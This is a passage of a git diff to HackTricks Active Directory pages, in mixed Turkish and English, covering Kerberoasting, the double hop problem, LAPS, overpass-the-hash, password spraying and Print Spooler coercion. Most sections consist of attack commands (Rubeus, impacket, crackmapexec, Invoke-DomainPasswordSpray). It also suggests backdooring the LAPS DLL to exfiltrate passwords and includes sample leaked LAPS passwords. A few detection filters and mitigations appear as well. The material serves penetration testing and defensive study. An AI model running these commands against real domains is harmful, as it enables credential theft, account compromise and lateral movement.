eğer istismar edilebiliyorsa, yüksek bir gizlilik derecesi ile gerçekleştirilebilir. Bu aktiviteyi tespit etmek için **Security Event ID 4769**'a dikkat edilmelidir; bu, bir Kerberos biletinin talep edildiğini gösterir. Ancak, bu olayın yüksek sıklığı nedeniyle, şüpheli aktiviteleri izole etmek için belirli filtreler uygulanmalıdır: +### Mitigation + +Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities: + +- The service name should not be **krbtgt**, as this is a normal request. +- Service names ending with **$** should be excluded to avoid including machine accounts used for services. +- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**. +- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**. +- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks. -- Hizmet adı **krbtgt** olmamalıdır, çünkü bu normal bir taleptir. -- **$** ile biten hizmet adları, hizmetler için kullanılan makine hesaplarını dahil etmemek için hariç tutulmalıdır. -- Makinalardan gelen talepler, **machine@domain** formatındaki hesap adları hariç tutularak filtrelenmelidir. -- Sadece başarılı bilet talepleri dikkate alınmalıdır; bunlar **'0x0'** hata kodu ile tanımlanır. -- **En önemlisi**, bilet şifreleme türü **0x17** olmalıdır; bu, genellikle Kerberoasting saldırılarında kullanılır. ```bash Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message ``` -Kerberoasting riskini azaltmak için: -- **Hizmet Hesabı Parolalarının tahmin edilmesi zor olmasını** sağlayın, **25 karakterden** uzun bir uzunluk önerilmektedir. -- **Yönetilen Hizmet Hesaplarını** kullanın, bu da **otomatik parola değişiklikleri** ve **devredilmiş Hizmet Prensip Adı (SPN) Yönetimi** gibi avantajlar sunarak bu tür saldırılara karşı güvenliği artırır. +To mitigate the risk of Kerberoasting: -Bu önlemleri uygulayarak, organizasyonlar Kerberoasting ile ilişkili riski önemli ölçüde azaltabilir. +- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**. +- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks. + +By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting. ## Kerberoast w/o domain account -**Eylül 2022**'de, Charlie Clark adında bir araştırmacı tarafından bir sistemin istismar edilmesi için yeni bir yol ortaya kondu ve bu, [exploit.ph](https://exploit.ph/) platformu aracılığıyla paylaşıldı. Bu yöntem, herhangi bir Active Directory hesabı üzerinde kontrol gerektirmeden **KRB_AS_REQ** isteği aracılığıyla **Hizmet Biletleri (ST)** edinilmesine olanak tanır. Temelde, bir prensip, ön kimlik doğrulama gerektirmeyecek şekilde ayarlandığında—siber güvenlik alanında **AS-REP Roasting saldırısı** olarak bilinen bir senaryoya benzer—bu özellik, istek sürecini manipüle etmek için kullanılabilir. Özellikle, isteğin gövdesindeki **sname** niteliğini değiştirerek, sistemin standart şifreli Bilet Verme Bileti (TGT) yerine bir **ST** vermesi sağlanır. +In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT). -Teknik, bu makalede tam olarak açıklanmaktadır: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). +The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). > [!WARNING] -> Bu teknikle LDAP'ı sorgulamak için geçerli bir hesabımız olmadığından, bir kullanıcı listesi sağlamalısınız. +> You must provide a list of users because we don't have a valid account to query the LDAP using this technique. #### Linux - [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413): + ```bash GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ ``` + #### Windows -- [GhostPack/Rubeus PR #139'dan](https://github.com/GhostPack/Rubeus/pull/139): +- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): + ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` -## Referanslar + +## References - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index 691c79736..d05192929 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -1,33 +1,34 @@ -# Kerberos Double Hop Problemi +# Kerberos Double Hop Problem {{#include ../../banners/hacktricks-training.md}} -## Giriş -Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar; örneğin **PowerShell**/**WinRM** kullanarak. +## Introduction -Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, eğer mimikatz çalıştırırsanız, kullanıcı makinede işlem çalıştırıyor olsa bile **kimlik bilgilerini bulamazsınız.** +Kerberos "Double Hop" problemi, bir saldırganın **Kerberos kimlik doğrulamasını iki** **atlama** üzerinden kullanmaya çalıştığında ortaya çıkar, örneğin **PowerShell**/**WinRM** kullanarak. -Bu, Kerberos ile bağlanırken izlenen adımların şöyle olmasındandır: +Bir **kimlik doğrulaması** **Kerberos** üzerinden gerçekleştiğinde, **kimlik bilgileri** **bellekte** **önbelleğe alınmaz.** Bu nedenle, mimikatz çalıştırırsanız, kullanıcı makinede işlem yapsa bile **kimlik bilgilerini bulamazsınız.** -1. User1 kimlik bilgilerini sağlar ve **alan denetleyici** User1'e bir Kerberos **TGT** döner. +Bu, Kerberos ile bağlanırken izlenen adımlar nedeniyle olur: + +1. User1 kimlik bilgilerini sağlar ve **alan denetleyicisi** User1'e bir Kerberos **TGT** döner. 2. User1, Server1'e **bağlanmak** için bir **hizmet bileti** talep etmek üzere **TGT** kullanır. 3. User1 **Server1**'e **bağlanır** ve **hizmet biletini** sağlar. -4. **Server1**, User1'in kimlik bilgilerini veya User1'in **TGT**'sini **önbelleğe almaz.** Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.** +4. **Server1**, User1'in önbelleğe alınmış **kimlik bilgilerine** veya User1'in **TGT**'sine sahip **değildir.** Bu nedenle, User1 Server1'den ikinci bir sunucuya giriş yapmaya çalıştığında, **kimlik doğrulaması yapılamaz.** -### Sınırsız Delegasyon +### Unconstrained Delegation -Eğer PC'de **sınırsız delegasyon** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Ayrıca, sınırsız delegasyon kullanılıyorsa, muhtemelen **Alan Denetleyicisini** ele geçirebilirsiniz.\ -[**Sınırsız delegasyon sayfasında daha fazla bilgi**](unconstrained-delegation.md). +Eğer PC'de **unconstrained delegation** etkinleştirilmişse, bu durum gerçekleşmez çünkü **Sunucu**, ona erişen her kullanıcının **TGT**'sini **alır.** Ayrıca, unconstrained delegation kullanılıyorsa, muhtemelen **Domain Controller**'ı buradan **tehdit edebilirsiniz.**\ +[**Unconstrained delegation sayfasında daha fazla bilgi**](unconstrained-delegation.md). ### CredSSP -Bu problemi önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Kimlik Bilgisi Güvenlik Destek Sağlayıcısı**dır. Microsoft'tan: +Bu sorunu önlemenin bir diğer yolu, [**belirgin şekilde güvensiz**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) olan **Credential Security Support Provider**'dır. Microsoft'tan: -> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar ele geçirilirse, kimlik bilgileri ona iletildiğinde, kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir. +> CredSSP kimlik doğrulaması, kullanıcı kimlik bilgilerini yerel bilgisayardan uzak bir bilgisayara devreder. Bu uygulama, uzak işlemin güvenlik riskini artırır. Uzak bilgisayar tehlikeye girerse, kimlik bilgileri ona iletildiğinde, bu kimlik bilgileri ağ oturumunu kontrol etmek için kullanılabilir. -Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan da çalıştırılabilir. -```powershell +Güvenlik endişeleri nedeniyle, **CredSSP**'nin üretim sistemlerinde, hassas ağlarda ve benzeri ortamlarda devre dışı bırakılması şiddetle önerilir. **CredSSP**'nin etkin olup olmadığını belirlemek için `Get-WSManCredSSP` komutu çalıştırılabilir. Bu komut, **CredSSP durumunu kontrol etmeye** olanak tanır ve **WinRM** etkinse uzaktan bile çalıştırılabilir. +```bash Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock { Get-WSManCredSSP } @@ -37,18 +38,18 @@ Get-WSManCredSSP ### Invoke Command Çift sıçrama sorununu ele almak için, iç içe bir `Invoke-Command` içeren bir yöntem sunulmaktadır. Bu, sorunu doğrudan çözmez ancak özel yapılandırmalara ihtiyaç duymadan bir çözüm sunar. Bu yaklaşım, bir komutun (`hostname`) birincil saldırı makinesinden veya ilk sunucu ile daha önce kurulmuş bir PS-Session üzerinden bir ikincil sunucuda çalıştırılmasına olanak tanır. İşte nasıl yapıldığı: -```powershell +```bash $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname} } ``` -Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezi hale getirmek için önerilmektedir. +Alternatif olarak, ilk sunucu ile bir PS-Session kurmak ve `$cred` kullanarak `Invoke-Command` çalıştırmak, görevleri merkezileştirmek için önerilmektedir. ### PSSession Yapılandırmasını Kaydet -Çift sıçrama sorununu aşmanın bir çözümü, `Enter-PSSession` ile `Register-PSSessionConfiguration` kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift sıçrama kısıtlamasından etkilenmeyen bir oturum sağlar. -```powershell +Çift atlama sorununu aşmanın bir çözümü, `Enter-PSSession` ile `Register-PSSessionConfiguration` kullanmaktır. Bu yöntem, `evil-winrm`'den farklı bir yaklaşım gerektirir ve çift atlama kısıtlamasından etkilenmeyen bir oturum sağlar. +```bash Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username Restart-Service WinRM Enter-PSSession -ConfigurationName doublehopsess -ComputerName -Credential domain_name\username @@ -56,7 +57,7 @@ klist ``` ### PortForwarding -Yerel yöneticiler için ara hedefte, port yönlendirme, isteklerin nihai bir sunucuya gönderilmesine olanak tanır. `netsh` kullanarak, yönlendirilmiş portu izin vermek için bir Windows güvenlik duvarı kuralının yanı sıra port yönlendirme için bir kural eklenebilir. +Yerel yöneticiler için ara hedefte, port yönlendirme, isteklerin nihai bir sunucuya gönderilmesine olanak tanır. `netsh` kullanarak, yönlendirilmiş portu izin vermek için bir Windows güvenlik duvarı kuralıyla birlikte port yönlendirme için bir kural eklenebilir. ```bash netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23 netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446 @@ -69,15 +70,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname ``` ### OpenSSH -İlk sunucuya OpenSSH yüklemek, özellikle jump box senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Parola Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır. +İlk sunucuya OpenSSH yüklemek, özellikle atlama kutusu senaryoları için yararlı olan double-hop sorununa bir çözüm sağlar. Bu yöntem, Windows için OpenSSH'nin CLI ile yüklenmesini ve yapılandırılmasını gerektirir. Şifre Kimlik Doğrulaması için yapılandırıldığında, bu, aracılık sunucusunun kullanıcı adına bir TGT almasına olanak tanır. -#### OpenSSH Yükleme Adımları +#### OpenSSH Kurulum Adımları 1. En son OpenSSH sürüm zip dosyasını indirin ve hedef sunucuya taşıyın. 2. Zip dosyasını açın ve `Install-sshd.ps1` betiğini çalıştırın. 3. Port 22'yi açmak için bir güvenlik duvarı kuralı ekleyin ve SSH hizmetlerinin çalıştığını doğrulayın. -`Connection reset` hatalarını çözmek için, OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek için izinlerin güncellenmesi gerekebilir. +`Connection reset` hatalarını çözmek için, OpenSSH dizininde herkesin okuma ve çalıştırma erişimine izin vermek üzere izinlerin güncellenmesi gerekebilir. ```bash icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T ``` diff --git a/src/windows-hardening/active-directory-methodology/laps.md b/src/windows-hardening/active-directory-methodology/laps.md index 0379dfa00..7eac9f17c 100644 --- a/src/windows-hardening/active-directory-methodology/laps.md +++ b/src/windows-hardening/active-directory-methodology/laps.md @@ -5,9 +5,9 @@ ## Temel Bilgiler -Local Administrator Password Solution (LAPS), **yönetici şifreleri**nin **eşsiz, rastgele ve sık sık değiştirilen** bir şekilde alan adı ile bağlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu şifreler, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya şifre iletimlerinin güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır. +Local Administrator Password Solution (LAPS), **benzersiz, rastgele ve sık sık değiştirilen** **yönetici parolalarının** etki alanına bağlı bilgisayarlara uygulandığı bir sistemi yönetmek için kullanılan bir araçtır. Bu parolalar, Active Directory içinde güvenli bir şekilde saklanır ve yalnızca Erişim Kontrol Listeleri (ACL'ler) aracılığıyla izin verilmiş kullanıcılara erişilebilir. İstemciden sunucuya parolanın iletim güvenliği, **Kerberos sürüm 5** ve **Gelişmiş Şifreleme Standardı (AES)** kullanılarak sağlanır. -Alan adının bilgisayar nesnelerinde, LAPS'ın uygulanması iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici şifresini** ve **şifrenin son kullanma tarihini** saklar. +Etki alanının bilgisayar nesnelerinde, LAPS'ın uygulanması, iki yeni niteliğin eklenmesiyle sonuçlanır: **`ms-mcs-AdmPwd`** ve **`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici parolasını** ve **sona erme zamanını** saklar. ### Aktif olup olmadığını kontrol et ```bash @@ -26,8 +26,8 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs Ham LAPS politikasını `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **indirebilir** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinden **`Parse-PolFile`** kullanılabilir. -Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** de kullanılabilir: -```powershell +Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** kullanılabilir: +```bash Get-Command *AdmPwd* CommandType Name Version Source @@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl Get-AdmPwdPassword -ComputerName wkstn-2 | fl ``` **PowerView** ayrıca **şifrenin kimler tarafından okunabileceğini ve okunmasını** bulmak için de kullanılabilir: -```powershell +```bash # Find the principals that have ReadPropery on ms-Mcs-AdmPwd Get-AdmPwdPassword -ComputerName wkstn-2 | fl @@ -58,9 +58,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd ### LAPSToolkit The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) LAPS'in birkaç işlevle sayımını kolaylaştırır.\ -Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`'ı** ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okumak için özel olarak yetkilendirilmiş** **grupları** gösterecektir.\ +Bunlardan biri, **LAPS etkin olan tüm bilgisayarlar için `ExtendedRights`**'ı ayrıştırmaktır. Bu, genellikle korunan gruplardaki kullanıcılar olan **LAPS şifrelerini okumak için özel olarak yetkilendirilmiş** **grupları** gösterecektir.\ Bir **hesap**, bir bilgisayarı bir domaine **katıldığında**, o ana bilgisayar üzerinde `All Extended Rights` alır ve bu hak, **hesaba** **şifreleri okuma** yeteneği verir. Sayım, bir ana bilgisayarda LAPS şifresini okuyabilen bir kullanıcı hesabını gösterebilir. Bu, LAPS şifrelerini okuyabilen **belirli AD kullanıcılarını hedeflememize** yardımcı olabilir. -```powershell +```bash # Get groups that can read passwords Find-LAPSDelegatedGroups @@ -85,7 +85,7 @@ DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 ``` ## **Dumping LAPS Passwords With Crackmapexec** -Eğer bir powershell erişiminiz yoksa, bunu LDAP kullanarak uzaktan bu yetkiyi kötüye kullanabilirsiniz. +Eğer bir powershell erişiminiz yoksa, bu yetkiyi LDAP üzerinden uzaktan kötüye kullanabilirsiniz. ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` @@ -103,8 +103,8 @@ Password: 2Z@Ae)7!{9#Cq ### **Son Kullanma Tarihi** -Bir kez yönetici olduğunuzda, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlamak** mümkündür. -```powershell +Bir yönetici olduğunda, **şifreleri elde etmek** ve bir makinenin **şifresini güncellemesini engellemek** için **son kullanma tarihini geleceğe ayarlamak** mümkündür. +```bash # Get expiration time Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime @@ -117,9 +117,9 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099 ### Arka Kapı -LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere depolayacaktır**. +LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda bir arka kapı koymak mümkündür (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bu bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere kaydedecektir**. -Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumundaki makineye yükleyin (ve değiştirme zamanını değiştirin). +Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumuna yükleyin (ve değiştirme zamanını değiştirin). ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index e9aa74407..1044a4cba 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -5,9 +5,9 @@ ## Overpass The Hash/Pass The Key (PTK) -**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelik kazandığı ortamlara yönelik olarak tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar. +**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelikli olduğu ortamlarda tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar. -Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesap için bir Ticket Granting Ticket (TGT) alınabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır. +Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesabın bir Ticket Granting Ticket (TGT) alması sağlanabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır. İşlem, aşağıdaki komutlarla başlatılabilir: ```bash @@ -30,6 +30,15 @@ Operasyonel güvenliğe uymak ve AES256 kullanmak için aşağıdaki komut uygul ```bash .\Rubeus.exe asktgt /user: /domain: /aes256:HASH /nowrap /opsec ``` +## Gizli versiyon + +> [!WARNING] +> Her oturum açma seansı aynı anda yalnızca bir aktif TGT'ye sahip olabilir, bu yüzden dikkatli olun. + +1. Cobalt Strike'dan **`make_token`** ile yeni bir oturum açma seansı oluşturun. +2. Ardından, mevcut olanı etkilemeden yeni oturum açma seansı için Rubeus kullanarak bir TGT oluşturun. + + ## Referanslar - [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/) diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 4b01ba92a..9afcfc023 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Şifre Spraying** -Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı ile en **yaygın şifreleri** deneyebilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\ +Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı için en **yaygın şifreleri** denemeye başlayabilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\ **Varsayılan** olarak **minimum** **şifre** **uzunluğu** **7**'dir. -Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla). ### Şifre politikasını öğrenme -Bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**: +Eğer bazı kullanıcı kimlik bilgilerine veya bir alan kullanıcısı olarak bir shell'e sahipseniz, **şifre politikasını** **şu şekilde alabilirsiniz**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linux'ten Sömürü (veya hepsi) +### Linux'ten (veya tümünden) Sömürü - **crackmapexec** kullanarak: ```bash @@ -69,7 +69,7 @@ done ``` #### Windows'tan -- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyon: +- [Rubeus](https://github.com/Zer1t0/Rubeus) brute modülü ile versiyonu: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,15 +77,15 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alır ve denemeleri buna göre sınırlar): -```powershell +- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) ile (Varsayılan olarak alan kullanıcılarını oluşturabilir ve alanın şifre politikasını alarak denemeleri buna göre sınırlayabilir): +```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` - [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) ile ``` Invoke-SprayEmptyPassword ``` -## Kaba Güç +## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 7af93164c..7ceb85e12 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -4,12 +4,12 @@ ## SharpSystemTriggers -[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) **uzaktan kimlik doğrulama tetikleyicileri** içeren bir **koleksiyondur** ve 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmıştır. +[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) , 3. parti bağımlılıkları önlemek için MIDL derleyicisi kullanılarak C# ile kodlanmış **uzaktan kimlik doğrulama tetikleyicileri** **koleksiyonu**dur. ## Spooler Servisi İstismarı -Eğer _**Print Spooler**_ servisi **etkinse,** bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi’nin yazıcı sunucusuna yeni yazdırma görevleri hakkında bir **güncelleme** **talep** edebilirsiniz ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\ -Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**. +Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi'nin yazıcı sunucusuna yeni yazdırma işleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\ +Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**. ### Alan üzerindeki Windows Sunucularını Bulma @@ -28,7 +28,7 @@ Linux'te rpcdump.py kullanabilir ve MS-RPRN Protokolü'nü arayabilirsiniz. ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` -### Servisi rastgele bir ana bilgisayara kimlik doğrulaması yapması için isteyin +### Servisten rastgele bir ana bilgisayara karşı kimlik doğrulaması yapmasını isteyin [ **SpoolSample'ı buradan**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** derleyebilirsiniz.** ```bash @@ -53,7 +53,7 @@ https://github.com/p0dalirius/Coercer `PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, herhangi bir posta kutusuna sahip alan kullanıcısının Exchange 